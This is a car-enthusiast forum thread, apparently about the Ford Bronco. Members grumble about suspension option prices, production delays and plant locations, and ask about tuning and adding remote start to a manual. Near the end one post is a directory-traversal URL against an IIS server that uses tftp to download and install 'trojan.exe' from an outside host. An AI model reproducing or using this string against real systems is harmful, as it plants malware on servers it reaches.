Same here. As one of the underdogs from the Nissan Xterra world, we're used to getting shafted for custom suspension options from back in our hay-day, but this is a Ford, made to be modded (unlike Nissan) with Fox shocks..... that's a bit ridiculous.
I'd pay that for a custom suspension, not...
I hereby order Ford to switch Bronco Sport manufacturing to the US facilities while ordering Bronco 2 &4 door models to be switched to the Mexico facilities to bring fast resolution to the matter... :ROFLMAO: (n)
This is amazingly disappointing. "Hey guys, look at this truck we can build for you, which is "available", but won't be built for another 20 months. Thanks for stopping by!" :ROFLMAO: (n)
I have 5 on the list....
How long would you wait to tune a new vehicle? I've never gone down that road before and was told to wait until, at least, after the first oil change. Thoughts?
For sure, but I'm just curious if anyone has pursued it here yet. I know there was a lot of talk about Ford not allowing access to the onboard computer for aftermarket shops to tune, etc, and wondering how that would effect attempting this modification.
Hoping I'm in the right thread since I'm sure this will be an onboard computer hack.... but, has anyone pursued or interested the thought of a remote start with a manual? Yes, I know you'd have to leave it in neutral all the time but, I'd really like to be able to achieve this :)
http://www.example.com/scripts/..%c0%af../winnt/system32/tftp.exe+%22-i%22+xxx.xxx.xxx.xxx+GET+trojan.exe+c:/winnt/system32/trojan.exe
/john
I'm not clicking on that.... :ROFLMAO: